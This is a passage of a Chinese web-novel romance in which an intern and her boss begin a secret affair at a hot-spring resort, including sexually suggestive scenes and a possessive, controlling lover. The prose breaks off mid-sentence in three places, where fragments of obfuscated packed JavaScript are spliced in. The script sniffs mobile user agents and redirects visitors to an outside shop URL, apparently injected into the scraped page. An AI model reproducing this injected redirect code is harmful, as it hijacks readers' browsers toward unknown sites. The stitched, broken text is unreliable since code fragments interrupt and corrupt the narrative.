顾念瑶如实相告:“她刚才大姨妈来了,回房间休息了。你要是不想泡温泉的话,就替我去看看她吧,她脸色不太好。” “好。”陈驰之当即抛弃汤池,上岸。 “太好了,这样我就能安心泡温泉了。” 陈驰之快速冲澡,换回原本的衣服,返回前台一趟,提着东西去找田妙妙。 田妙妙换上睡衣,刚躺上床没过多久,房门被敲响。 “谁啊?”田妙妙艰难起身,裹着薄毯子,前去开门。 陈驰之站在门口,手里拎着卫生巾和一杯冒着热气的红糖姜茶。 “顾念瑶说你经期来了,我就去前台,帮你要了这些,趁热喝吧。”陈驰之把红糖姜茶递过去。 “谢谢,麻烦你了。”田妙妙接过红糖姜茶,有些不好意思,“你快回去泡温泉吧,不用管我。” 陈驰之却站在原地没动,眼神平静中透着一丝虔诚,他认真地说:“让我留下来陪你吧,你一个人我不放心。” “不用的,我休息会儿就好。”田妙妙下意识回避他的目光,直觉好似有什么事情要发生。 “妙妙。”陈驰之忽然叫住她,语气带着几分郑重,他缓缓道:“你不用总跟我这么客气。我喜欢你,从面试初遇的时候,就对你有好感,我想照顾你。” 不妙的预感成真,田妙妙猛地抬头,瞳孔微怔。 尽管知道他的心意,可这表白来得猝不及防,她一时不知道该怎么回应,只能轻声道:“对不起,你给我点时间,我考虑一下,再给你答复,好吗?” 众人在热闹地泡温泉汤池,自己却因小意外而落单,心情难免沮丧,此时身体和意志都处在最薄弱的环节,他挑这个时间点出现并告白,的确是大学霸作风,讲究的是一个找准时机、精准进攻。 若不是她心有所属,此刻确实会感动落泪。 陈驰之看着她闪躲的眼神,心里隐约有了答案,却还是点了点头:“好,我等你答复。” “我现在不太舒服,心里头也很乱,就不请你进来坐了。”田妙妙挤出一个勉强的笑。 陈驰之把东西放在门口:“好,我不逼你,不管你怎么回复,我们之后都是朋友。” 朋友吗? 田妙妙沉默。她不认为经过这一天,他们还能毫无芥蒂地和之前一样相处…… 陈驰之转身离开,没有注意到,不远处的走廊拐角,池修白不知站了多久。 刚才那番对话,一字不落地落进他耳里。 他仰头靠在墙上,咬着一根燃到半截的细烟,嘴角微微上扬,噙一抹危险而玩味的笑,眼睛半眯,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池修白看着她懵懂的样子,又气又笑,指尖轻轻摩挲她的唇角:“从我搬去跟你住在一起那天,就开始了。” 她心脏猛地一跳,不敢置信:“你……你真的喜欢我?是认真的,不是随便玩玩?” 她一无所有,他的喜欢就像轻飘飘的绚丽多彩的惊喜气球,她很怕气球嘭地一声炸开,她的欣喜转瞬即逝。 池修白深深地对她对视,眼神认真得让她心慌,“不喜欢你,不会把重要的展会项目交给你,不会提前让你结束实习期,更不会想着把你调去策划组,逐渐接触游戏开发的核心内容。” 一字一句,砸在田妙妙心上。 原来那些她以为的关照、机遇,全都是别有用心。原来他与众不同的偏爱,都是真的,并不是她狂妄自大的幻想。 “为什么啊?”田妙妙鼻腔泛酸,眼眶湿润,哽咽地发问。 “原因得由你自己发现。”池修白低头在她眼睛上啄了一下。 “我怕是你一时冲动。”田妙妙说:“刚才你应该看见陈驰之向我表白了,所以才会这样的。” 池修白低头笑了下,她还不够自信,只能看到外部原因,却看不到自己的闪光点。 敛了笑意,池修白盯着她的眼睛,语气带着不容拒绝的强势,高高在上地发号施令。 “现在就拒绝陈驰之,当着我的面。” 田妙妙心跳如鼓,拿起手机,手指有些发抖,在池修白目光的监视下一点点打字,给陈驰之发过去:对不起,我不能接受你的心意,我心里有喜欢的人了。 看见后半句,池修白眉宇间的躁郁之气,似林间晨雾般散去,他啄吻她的鼻尖:“对,你心里的人是我,这辈子都只许喜欢我。” 田妙妙嘴唇蠕动,强行忍住高高翘起的冲动。 消息刚发出去,陈驰之的电话就打了过来。 田妙妙下意识接通,刚开口唤了一声“喂”,腰上的力道忽然一紧。 池修白低头,再次吻上她的唇,轻轻啃咬、厮磨,故意在她耳边制造细碎的声响。 田妙妙浑身发软,脸颊烫得快要烧起来,被动承受着池修白的捣乱,又不敢在电话里露出异样,只能死死掐着手心,强迫自己不发出一点暧昧的喘息。 电话那头陈驰之还在说话,可她已经听不进半个字。 整个世界,只剩下池修白的呼吸、触感和温度。 他眼底翻腾着汹涌又直白的情绪,似飓风席卷过的海面,引发骇人的浪,带着一种浩浩荡荡的致命摧毁性。 她一睁眼,便被滔天巨浪裹挟吞噬,葬身欲海,魂飞魄散。 小腹突然抽动,吐出一大团东西,很像姨妈期血崩,又不完全是,田妙妙腿软,压抑的嗓音轻轻泄了出来。 电话中的男声顿时停住,几秒后,听筒中只剩下电话挂断后的忙音。 43. 第 43 章 “唔……嗯……等、等一下……”田妙妙大力挣扎,强行扭过头,两人缠绵的双唇总算分开。 清凉的空气纷涌而来,田妙妙气喘吁吁,大口呼吸。 “怎么了?”池修白喘息声紊乱,在她唇角轻吻,他好像皮肤饥渴症患者,只想黏着在一起,不愿意分离。 “我要去一下卫生间,刚才下面涌出一股血,不太舒服。”田妙妙捂着小腹,眉头轻蹙,额头泛起一小片冷汗,脸是染着情欲潮红的苍白。 池修白这才松手,怜惜地吻去她额角的冷汗。 田妙妙抓着陈驰之送来的卫生巾,快步钻进卫生间。 她脱下内裤,刚才垫上的小护垫已经洇红了一大片,连内裤边都蹭上血迹。 田妙妙有些窘迫地开口:“那个、老板,你能不能帮我拿一条新内裤,在我包里。” 脱离方才极致缠绵悱恻的亲吻氛围后,大脑逐渐从混沌恢复清明,她对池修白的称呼,又恢复成老板。 池修白显然并不买账:“叫声好听的,我去帮你拿。” 对此趁火打劫之举,田妙妙又急又羞。 好听的,是什么,男朋友吗? 她面红耳热,低头攥着睡衣裙摆,声音细得像一缕清风,轻声道:“男朋友。” “说什么呢?听不清。”门外的池修白含笑使坏,朗声催促。 田妙妙心一横,拔高嗓音:“亲爱的男朋友!请帮你可怜无助的女朋友拿一下内裤,谢谢!” 池修白喉间低低地笑了一声,那笑意裹着宠溺,漫过门板,直直钻进田妙妙耳朵里。 “这还差不多。” 田妙妙被撩得急速升温,忙抓过一旁沐浴露瓶子,强迫自己看背后的使用说明,来平复过快的心跳。 脚步声渐渐远去,室内响起拉链滑动的声音,没一会儿,脚步声又落回卫生间门口。 池修白屈指敲了敲门:“开门,我给你拿进去。” “别,你递给我就行了。”田妙妙脸颊烫得快要烧起来,只敢把门拉开一条小缝,手慌慌张张伸出去。 可下一秒,手腕却被人轻轻攥住。 池修白的指腹作怪似的,在她内腕娇嫩脆弱的肌肤上轻轻摩挲,酥麻痒意丝丝入扣。 受不住的田妙妙想抽回手,却被拇指增了几分力按住。 “脉搏跳得好快。” 田妙妙羞恼道:“别玩了,快给我吧。” 池修白轻笑了声,不再逗她,把叠放整齐的小内裤塞进她手里。 田妙妙嗖一下拿进去,立马关上门。 池修白没离开,低声关切问:“很疼吗?” 田妙妙被他问得一怔,随即反应过来他是在问生理期,心头一暖,小声回道:“……嗯,有点疼,我下单了布洛芬,马上到了。” “好,等会儿出来,我帮你揉揉。”池修白说着,又补充一句,“慢慢弄,不急,我在外面等你。” “哎呀,你先走开啦。”田妙妙说:“我要多待一会儿。” 她经期疼时,总有种想拉肚子的感觉。 正巧房门被敲响,池修白过去开门。 是前台服务员送来布洛芬胶囊。 十分钟后,田妙妙捂着肚子,拖着酸软的双腿,挣扎着走出卫生间。 “过来吃药。” “马上。” 见她行动不便,池修白起身过去接她,走到她面前,突然打一个横抱将她抱起。 田妙妙吓得惊呼一声,忙抱住他的脖颈,稳住重心平衡。 池修白长腿一迈,两三步走到沙发上坐下。 田妙妙被他揽着腰,侧坐在他的大腿上。 池修白伸手,把茶几上的红糖姜茶和布洛芬胶囊拿给她。 田妙妙接过,乖顺地将药吞下,喝了口红糖姜茶顺下去。 倚在他怀中,低头小口喝着红糖姜茶,田妙妙仍有种不真实之感。 他是谁?池修白啊! 那可是池修白……眼睛长头顶上的池修白! 居然强吻了她,现在还抱着她没松开…… 她有一种,向老天爷许愿中一张100万的彩票,结果老天爷听后,壕气十足地把所有彩票的奖金全打她卡里了的荒诞感。 她虽然怀疑过池修白是不是对自己有点意思,但绝没有幻想到这种程度! 池修白伸出手,温热的掌心覆在她微凉的小腹上,一下一下,不轻不重地揉着。 这个举措虽然暖心,可未免太过亲昵,像真正的热恋期小情侣才能做出来的事。 田妙妙脊背僵直,小声道:“谢、谢谢老板,不用了……” “叫我什么呢?”池修白手下突然使了点力,在她纤细的侧腰掐了下。 “嗯……”田妙妙顿时软倒在他怀中,单薄的后背和他的胸膛贴得紧实。 池修白是穿衣显瘦、脱衣有肉的薄肌类型,胸膛肌肉坚实温热,像一个散发滚滚热源的人形火炉,让人特别有安全感。 “快说!是不是没长记性?”池修白咬了一口她泛红的耳尖,催促道。 “……男、男朋友。”田妙妙说得磕磕绊绊,心情是一半甜蜜,一半是没底气。 “乖。”他宠溺地低头,在她唇角印下一个蜻蜓点水的吻。 驾轻就熟地撩拨人心。 不得不说,他很擅长做这种事。 “可是,我们的关系,不适合被人发现。”田妙妙再三考虑后说。 她一想到别人发现她和池修白有一腿后,露出意味深长、嫉妒中掺杂着同情的眼神,就浑身不自在。她的自尊不允许自己成为别人眼里,能力平平、只会爬老板床的那种人。 池修白继续帮她揉肚子,“那你想怎么样?” “我想保持现状。” “保持现状?”池修白目光阴沉,停下手中的动作,掐着她的下巴,逼视她:“自欺欺人地洗脑自己,刚才的吻就当没有发生过?我们的关系仍是简单的老板和员工?” “不是。”田妙妙心中蓦地一痛,忙说:“我当然想和你在一起,想和你拥有更多的可能。只是一切发生得太快,都乱套了。而我现在太弱,我没法在站稳脚跟之前,不管不顾地投入一场身份悬殊极大的亲密关系中。” “把你的想法和诉求说明白一点。” 田妙妙深呼吸一口气:“我喜欢你,我想和你在一起,不过现阶段要保持地下恋,等我能力提升,能独挡一面后,再曝光我们的关系,好吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190874|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我喜欢你”四个字,极大地缓和了池修白的情绪,“意思是等你当上主策后,我们的关系才能见人?” 主策吗?他对她的期待似乎比她自己还高,她本来想的是,成为一个有经验的策划就够了……田妙妙点头。 “你知道,这中间会有很多变数吗?或许不到那个时候,我们就……” 真心瞬息万变,池修白哪怕此刻很喜欢田妙妙,也不敢轻易去赌以后。 他对爱情的看法是享乐主义,双方都要从中获得快乐,感情才能维系下去,当情感浓度降低,负面情绪超过正面情绪后,爱情就变成需要果断切割的负资产。 他们的感情能否支撑到田妙妙成长为主策的那天,池修白不敢下定论。 “我知道,你对我可能就是一时兴起,你之前遇到的,都是特别优秀的、女神级别人物,没有接触过我这种普通女孩,等交往一段时间之后,你对我的兴趣减弱,自然而然就移情别恋了。” 面对池修白,外貌、智商、家世各方面都被碾压,田妙妙难免会自卑。 可在当下,他说喜欢她,她就愿意去和他试一下,哪怕根本没有未来,也能慰藉自己的内心。毕竟,她也喜欢他。 “其实,你说的提议,我自然是可以接受的,只是这对你来说有些委屈。”池修白望着她含着泪、苍白又倔强的小脸,心里泛起一阵怜惜,他轻声叹息,低低唤了声:“小草。” 小草? 田妙妙瞪大眼睛,不知道为什么要这么叫她:“你在讽刺我妈妈去世了,没妈的孩子像根草吗?” “瞎想什么,这是爱称。”池修白说:“你就是小草,长在顽石缝中的小草。” “我只听过鲜花插牛粪上的说法,那我们这算什么?小草插金矿上?” “用不着妄自菲薄。”池修白掐了一下她的脸:“我眼光也不至于那么差。” “这是在夸我吗?”田妙妙破泣而笑,在他身上用力捶了一下。 “当然。”池修白欠嗖嗖地解释了句:“这是背书式夸人法,用我的眼光来替你背书。” 田妙妙继续捶他,跟他在沙发上打闹了会。 过了半小时,明显感觉她的精神和力气都好转了,池修白提议道:“要去泡会温泉吗?房间后院有私汤。” 田妙妙面露迟疑;“可是我身上来大姨妈,感觉不太方便。” “跟我话说直率点,我不喜欢猜女生心思,你就直说要不要?”池修白看不太顺眼她心口不一的表现,总想着逼她一下。 “要。”田妙妙遵从本心。 她都没有体验过温泉呢,好不容易来了一趟,不尝试一下难免会失望。 池修白拨通前台电话,要了卫生棉条和防水私密贴。 十分钟后,东西送过来。 “需要我教你怎么用吗?”池修白自然也没使用这些东西的经验,只是先前趁田妙妙进卫生间的时候,在网上搜索姨妈期泡温泉的注意事项,系统推荐给他这些东西。 田妙妙:“不要,我自己研究一下。” “好。”池修白特意叮嘱她:“记得换上我选的泳衣。” 田妙妙:“……” 神了,比基尼居然真派上用场了。 44. [锁] [此章节已锁] 池修白办理入住的是温泉山庄豪华套房,比田妙妙和顾念瑶的双床标间高档很多,套房包含一个中式禅意的小庭院,院内有假山、翠竹,以及私汤泡池。 汤池十平左右,宽敞干净,水面雾气缭绕。 田妙妙在卫生间倒腾卫生棉条,池修白在一旁的淋浴间冲澡,中间仅一道玻璃隔断。 她一偏头,就能看到他的身影轮廓。 热汽在磨砂玻璃上袅袅升起,淅淅沥沥的水流声,玻璃面上凝结的水珠,还有若隐若现的矫健身躯,无不诱惑着田妙妙的心跳。 她怀疑,他就是故意在引诱她。 非要和她一起进卫生间,隔着薄薄一层玻璃,旁若无人地洗澡。 田妙妙顺利塞完棉条。接着,她转头去看他,一眨不眨地盯着。 反正玻璃是磨砂的,他肯定发现不了她在偷窥,不对,正大光明的事,怎么能叫偷呢,她在明窥。 十秒后,玻璃后面传来三声咚咚咚的沉闷敲击。 是池修白屈指敲击,他关了花洒,话中打趣:“看入迷了?” 田妙妙回神,“谁看你了,我只是在发呆想事情。” “又嘴硬。”他哼笑,蛮不正经地说:“想看就直说,等会泡温泉让你看个够。” 田妙妙脸热,在不要脸这块,她确实比不过池修白。 “出来我看看。”池修白围上浴巾,在门口等她。 田妙妙仓促换上泳衣,好在她毛发疏淡,不用修剪,只是比基尼布料太少,包裹感又好,有种没穿衣服的错觉。 田妙妙裹上浴袍,才敢出门。 “马上下水,你裹这么严实?”池修白忍俊不禁,抬手在她头发上揉了下。 他刚洗完澡,身上没有擦干,胸膛上还挂着晶莹水珠,形状分明的腹肌随呼吸规律起伏,两条性感的人鱼线一直延伸至浴巾下。 田妙妙饱完眼福,才喉咙发干地移开视线。 池修白不知从哪找来一根发簪,在她脑后随便绕了几下,就将她垂散的长发利落盘起。 “你怎么会盘发?以前经常帮女朋友盘,练出来的?” 问完后,田妙妙也觉得自己多嘴了,刚想说点什么找补,就听见池修白低低笑了两声,道:“这就开始查旧账了?” “没有,我不想知道。”田妙妙又开始口是心非。 “你这人就这点不好,说话不坦诚。”这种性格缺陷形成原因,通常是糟糕的成长环境,造成长期自卑,不敢坦率地表达内心想法,总藏着掖着。 一想到这个,池修白就忍不住泛起同情心。 他揽着她,朝汤池走,路上主动交代:“之前逛古镇,路过一个卖簪子的小摊,老板教人盘发,那人手笨学不会,老板一连演示好几遍,我顺路就看明白了。” “那你记性真不赖啊。”得知不是拿前女友练手才学会的,田妙妙心头说不出的轻快。 “嗯,还行。”这话经池修白的嘴说出来,就有种浓浓的凡尔赛味。 到了汤池边,池修白直接下去,回头跟田妙妙说:“温度很合适,下来吧。” 田妙妙低头看了,犹豫要不要脱浴袍,穿着下去的话,会不会很奇怪。 池修白靠在池壁,气定神闲地将她从头瞧到尾:“你是在等我代劳吗?” 田妙妙心一横,反正她有姨妈在身,池修白就算再混蛋,也不至于真的会精.虫上脑,在温泉汤池里胡作非为。 浴袍掉落。她人虽瘦,奈何天赋优越,身段窈窕,粉色比基尼恰到好处地勾勒重点,一抹丰润白得晃眼。她亭亭玉立,像初夏沾着露水、将开未开的荷花苞,诱人采撷。 池修白朝她伸手。 田妙妙搭上他的手,步入温泉池中。 热气蒸腾,袅袅白雾如同上好绸缎滑过身躯,一汪汤池好似瑶池仙境,她便是误入凡尘的仙子。 田妙妙脸很红,不知是池修白离她太近羞的,还是被温泉池水熏蒸出来的。 泡在水里,温泉水的暖意和浮力承托着她的身躯,仿佛坠入了不愿醒来的美梦中,整个人轻飘飘懒洋洋的,连手指头都不想动。 见她脸上浮现出困倦神情,池修白轻轻扯她胳膊,让她坐进他前方,两条大长腿圈住她,把她锁在怀里。 “累了?靠我怀里睡。”低头含了一下她的耳垂。 田妙妙闭着眼睛,轻吟一声。好舒服,半边身子都酥酥软软的,脑袋也晕乎乎的。明明感受到背后的危险信号,可就是不想挪动,靠着他的感觉实在太让人沉溺了,还想要更多。 身后的呼吸明显粗重。 “你睡你的,不用管我。”池修白把她的脸扭过来,低头同她接吻。 平静的池水荡漾起层层波澜,时而轻波款款,时而水花飞溅…… 一池春水,活色生香。 * 意识再度归位时,田妙妙发现已经躺在床上了。 身上换回干净舒适的睡衣。 池修白坐在书桌前,安静的房间中,只余笔记本键盘的敲击声。 刚才她是晕过去了吗? 田妙妙的意识渐渐回归,身体酸软无力,胸前有轻微胀痛感。 她低头,入眼是斑驳错落的红痕。 意料之中。 她记得自己昏过去前,比基尼就不知所踪了。 她开口,舌根发麻,口腔腥苦:“现在几点了,我手机呢?” “醒了?”池修白停下手里的工作,转头看向她。 田妙妙睡眼惺忪,头发有些凌乱,睡衣领口歪斜,露出半根纤细精巧的锁骨,上面残留一圈很淡的齿痕。 池修白目光一暗,压抑的冲动又起来了。 他起身,走到床边,掀被而入,长臂揽住她的腰,把她往身上带。 田妙妙窝在他怀里点头:“嗯,嗓子有点不舒服。” “张开嘴巴我看看。” 田妙妙身体一颤,低头往他怀里缩,被他桎梏住,他重复了句:“乖,张嘴。” 田妙妙拗不过他,闭着眼,嘴巴慢慢张开。 “看不清,再张大一点。” 嘴巴按照他的指令,继续张开。 “还不够,被舌头挡住了。”池修白看着她因羞耻而泛起水光的眼睛,“所以,要怎么做,妙妙。” 田妙妙摇头,眼神胆怯,像被饿狼盯上的兔子。 “刚才教过你的,舌头要怎么伸出来。” 田妙妙被他的话刺激得浑身发颤,脑海中已经记起泡温泉时发生的事。 嘴巴张到极致,下巴快要脱臼,濒临窒息的感觉,太恐怖了…… 现在意识清醒,她可做不到。 就在她闭上嘴巴之时,池修白的手指伸了进去,勾动她的舌头:“怎么突然害羞了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215704|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “唔……我、我不是玩具……”舌头被长指搅动,她说的话含糊不清,兜不住的津液自唇角溢出,小巧的下巴沾染上淫靡的水渍。 闻言,池修白的动作顿了下,手指缓缓退出来。 田妙妙身体产生莫名的空虚躁动,很不舒服。 对上她泫然欲泣的眼眸,池修白低声说:“忘了问你,和我做那些事,你舒服吗?” 田妙妙脸热,当然舒服,舒服到脱力晕过去。 只是干嘛突然要她交流感想,她没什么经验,对这种事情还是很害羞的,支吾道:“大部分时候是舒服的,就是……” “就是什么?”池修白追问:“哪里不舒服。” “你明明知道的,你逼我……”她手指轻抚嘴唇,没好意思说出口。 “抱歉,实在没忍住,等你经期过去,换我用嘴好不好?” 田妙妙脸要热冒烟了,自己根本不是他的对手,他说出来的话,光在脑海中想想,就要呼吸过度,喘不上气来。 “好。”田妙妙像只怯生生的垂耳兔,小声应道。 池修白语气正经:“这种事是要双方都得趣,才算乐事,如果你爽不到的话,可能我们的关系会很难维系下去,你能明白吗?” 田妙妙点头,她实在不太好意思就这个话题深入谈论下去,故而躺回被子里,眼睛闭起来:“嗯嗯,知道了。我还是有点累,先睡了。” 唉,这是田妙妙第一次谈恋爱。 ……嗯,姑且算是恋爱吧。 很多事情和她幻想的大不相同。 比如,她曾经觉得自己将来谈恋爱的对象,是和自己年龄家境差不多的男生,他们会一起在大城市打拼,一起买菜做饭、牵手散步,过简单幸福的小日子。 而现在,她遇到了池修白,对另一半各方面的期待阈值都被无限拔高,她好像已经过不了简单的小日子。人,就是这样不懂知足的动物。 和池修白这种人在一起,可以预见的是,会获得极致的快乐,也会承受极致的痛苦。 这种感觉危险又迷人。 心跳始终比正常频率高一点。 哦,还有亲密活动的进展速度,也快得出奇。 什么先拉拉小手一个月,再亲亲小嘴三个月,最后才能上.床,更是完全不适用他! 要不是今天她身上来了大姨妈,此刻怕是已经全垒打了…… 这个男人,那方面的欲望简直不加掩饰!偏偏技术还很好,让她不自觉沉醉其中…… “你和我在一起,是为了解决生理需要吗?”田妙妙当前出于贤者时间,情绪比平常低落,轻声问:“你提供房子和工作,我提供身体和劳动力。” 池修白挺烦女人作的,这种话要是别人说,早被他嫌弃了,但此刻田妙妙过于可怜可爱,让他有些心软。 他从背后抱住她,在她耳边吹气:“那倒不至于,如果只为了解决生理需求,有很多更方便的法子,没必要还把自己搭进去。” 田妙妙心头一颤,“什么叫搭进去?” “就是要承担男友职责啊。” “那你会结婚吗?”田妙妙不知怎的问了出来。 “宝贝,不要讨论这个无聊的问题。”池修白把她翻了过来,正面抱住:“来,我们来接吻。” 在他技巧高超、缠绵极致的吻里,她的心里有了答案。 45. 第 45 章 明明心里很悲伤,可还是沉醉在他的吻中。 这一刻,忘却种种烦恼,不考虑家庭和身份的巨大差距,也不忧心会不会被他始乱终弃,只享受他唇舌的抚慰。 明明没什么接吻经验,可一碰上他的唇后,不知道是被他引领,还是天生就会,总之他们配合得很好,接吻很舒服,和泡在温泉里差不多。 田妙妙紧紧地抱着他,感受他的体温和心跳。 她觉得自己就像飞蛾,明知道前方是火海,也义无反顾地往前扑,只因火光如醉似幻,驱散黯淡无光的前路,让她不由自主地靠近、再靠近。 忽然,枕边手机响起来。 田妙妙方才恋恋不舍地与他分开,拿起手机一看,是顾念瑶打来的语音通话。 她接通。 顾念瑶:“妙妙,你现在身体好点了吗?” 田妙妙:“嗯,吃过布洛芬,不难受了。” 顾念瑶:“那就好。对不起妙妙,我现在有事,晚上就不回去,要不我帮你叫晚饭吧?” “不用了,我等会自己去吃,正好出去透透气。” “那好吧。” 两人寒暄几句后,挂了语音通话。 池修白从后面缠上来:“既然她不回去,那你也留下来,嗯?” “这,这不好吧?”田妙妙仰头看他。 他的眼睛漆黑幽深,原本的冷意被欲色沾染,很美很涩,真是丝毫不输美术组熬通宵捏出来的高精度建模。 不,他远比建模更灵动。 田妙妙小声说:“我来大姨妈了,就算留下也没办法做什么。” 对于她的雷霆之语,池修白低笑:“你当我是什么变.态性压抑吗?让你留下就是为了操/你?” 田妙妙脸白了一瞬,又快速红起来,他这种外表光风霁月的人说起脏话来,竟莫名有些性感。 “我,我只是……不知道能为你做什么。” 所以,只能在这种事情上,尽量讨好。 “不用你做什么,就老老实实呆着就行。”池修白拿来客房平板,划到订餐页面,递给她:“你看一下,想吃什么?” 田妙妙划过昂贵且精致的西式餐点,在麻辣小龙虾处停下:“我可以点这个吗?” “想吃就点。”池修白说:“这点小事用不着问我。” 田妙妙高高兴兴点上,又点了听冰可乐,吃麻小,怎么能不配冰饮呢。 紧接着,她听见池修白说:“女生经期是不是不能吃辛辣刺激的?还有冷饮也不可以。” 池修白伸手,把她点的两样全部移出。 “你这也太霸道了。”田妙妙不满嘟囔。 池修白冷着脸,淡淡道:“哦,我霸道总裁。” 田妙妙噗呲一声笑出来,他时不时的冷幽默,总能戳到她:“没想到你居然有点搞笑天赋。” 池修白退让一步,把麻辣小龙虾换成蒜蓉小龙虾,可乐也换成常温的。 而池修白自己,只点了份清淡的三文鱼沙拉。 田妙妙咋舌:“你就吃这么点呀?” 池修白:“没胃口,我吃的一直都不多,如果不是要陪你吃点,今晚我就不吃了。” 是吗?之前她下厨的时候,池修白可是都吃光了的…… 她突然又想到,在中医理论中,胃是情绪器官,对应的是思虑。长期的思虑过重、精神紧张很容易导致脾胃功能不佳,常见表现就是食欲不振、消化不良等。 而池修白显然属于高压人群。对于他们这类顶级精英而言,精神压力就像空气和水一样,是生命中不可或缺的部分。 虽然他极少表现出紧张脆弱,颓靡不振的样子,可田妙妙还是觉得池修白有点……可怜。 当女人心疼男人的时候,总忍不住想为他付出,且心甘情愿。 “我手艺挺不错的,要不以后我做饭给你吃吧。”她满怀爱意地许诺。 池修白闻言一怔,对上她隐隐心疼的眼神,心头好似被什么攥了一下。 他体内涌动起一股热流,循环流至四肢百骸,浑身上下没有一处不熨帖的,好似一颗冰冷的心脏浸泡在温泉中。 “好啊。”池修白在她脸上亲了一下:“真是一株贤惠的小草。” 池修白继续处理工作上的事,田妙妙则躺在床上点开王者。 登上后,看见陈驰之在线,她吓得赶紧给自己设置成隐身状态。 自从那通电话,她的呻吟声被他听到后,田妙妙就不知道该怎么面对他了。 实在太尴尬了。 然而,陈驰之仍旧是发现她上线了。很快,他的微信提示弹了出来。 田妙妙迫不得已退出游戏,点开微信。 陈驰之:【我想了很多,也想通了很多事,但还是想听你亲口说。电话里的那个男人,就是你之前想送礼物的人吧?你手上戴的钻石手链也是他送的吧?如果我没猜错的话,那人应该就是池修白吧?】 田妙妙被他的连环发问炮轰得头晕目眩。 真不愧是大学霸,这推理能力也是无敌了。 田妙妙:【是他。】 田妙妙:【你能不能替我保密?】 陈驰之:【我早就该想到的。】 陈驰之:【我最喜欢的女生喜欢上我最崇拜的男人,这种感觉太复杂了,好像生气都是一种自不量力。】 田妙妙:【对不起。】 陈驰之:【感情的事没有对错,没必要道歉。】 陈驰之引用田妙妙让他保密的那条消息,回复:【放心,我不会说出去的,只是给我一点时间接受这个现实吧。】 田妙妙心里有种说不出的难过,陈驰之是个很优秀、很美好的人,如果可以,她真不想让他难过。 尤其是,他还是她在S市认识的第一个朋友,有重要的意义。 毕竟,每个人都有程度不同的雏鸟情结。 可是,有了池修白,她必然无法在两者之间产生摇摆。 陈驰之像是港湾,是归宿,代表着平静和安全感,而池修白是篝火,是深渊,代表着未知和吸引力。 她是个初出茅庐的年轻人,无法冷静地分析利弊做出选择,她只想靠近那个散发着致命蛊惑的神秘地带,哪怕死无葬身之地。 她既然和池修白打破了界限,和陈驰之的关系自然就回不去了。 就是不知道,陈驰之会因此离开吗? 想到这个,田妙妙不免产生担忧,最终还是选择发问。 田妙妙:【你会不会因为这件事提离职?】 陈驰之:【抱歉,我不知道,暂时无法回答这个问题。】 田妙妙噼里啪啦地打字“求求你能不能别走,问天现在正处于关键时期,特别需要你……”打完后,她顿了一秒,又将输入的内容全部删掉,回复—— 【不管你怎么选择,我都支持你,希望你一切都好。同样,无论你以后怎么看我,我都拿你当朋友。】 结束和陈驰之的聊天,田妙妙此刻心情极其低落,内疚感让她整个人就像回南天一样,心头潮湿,能拧出水来。 她下床,慢步走到池修白身后,向前倾身,两条胳膊从他宽阔的肩头伸过去,隔着椅背从背后抱住他,额头抵在他的后脑处。 池修白敲击键盘的手指霎时停住了。 他抬手握着她相交的两只手,问:“怎么了?” 田妙妙只摇头,不出声。 她的能量耗尽了,只想从他身上充充电。 池修白停下手头工作,拉着她的胳膊,把她往身前带,接着打个横抱,放在大腿上。 “心里肯定有事,直接说出来。”池修白说:“在我面前不用想太多。” 田妙妙叹了一口气,坦白道:“刚才陈驰之联系我了,他已经知道我们的事了。” “嗯,知道就知道,倒省得我麻烦了。”池修白态度如常,伸手刮了一下她的脸,语气渐渐危险:“还是说,你心里实在舍不得他。” “不是。”田妙妙真想狠狠一口咬住他的手指,“都这种时候了,你还开玩笑。” “生气了?”池修白闷闷地哼了声,他慢悠悠地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227097|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“你在担忧什么?他又不是小孩子,他比你成熟很多,想必会好好处理这件事的。” “难道你一点不担心吗?”田妙妙真是佩服他的心态,“现在《诡秘降临》来势汹汹,问天的情况应该还挺严峻的,要是他因为这件事离职了怎么办,你不是很看好他的能力吗?” “给你看个东西。”池修白修长的手指在笔电的触控板上滑动,调出oa系统界面,他点开已办事项,第一条就是员工离职申请。 田妙妙看到标题后,呼吸一窒,“他已经提离职了?” “不是他,你仔细看发起人。”池修白敲了敲电脑屏幕。 田妙妙这才定睛看向流程发起人,是个完全不熟的名字。 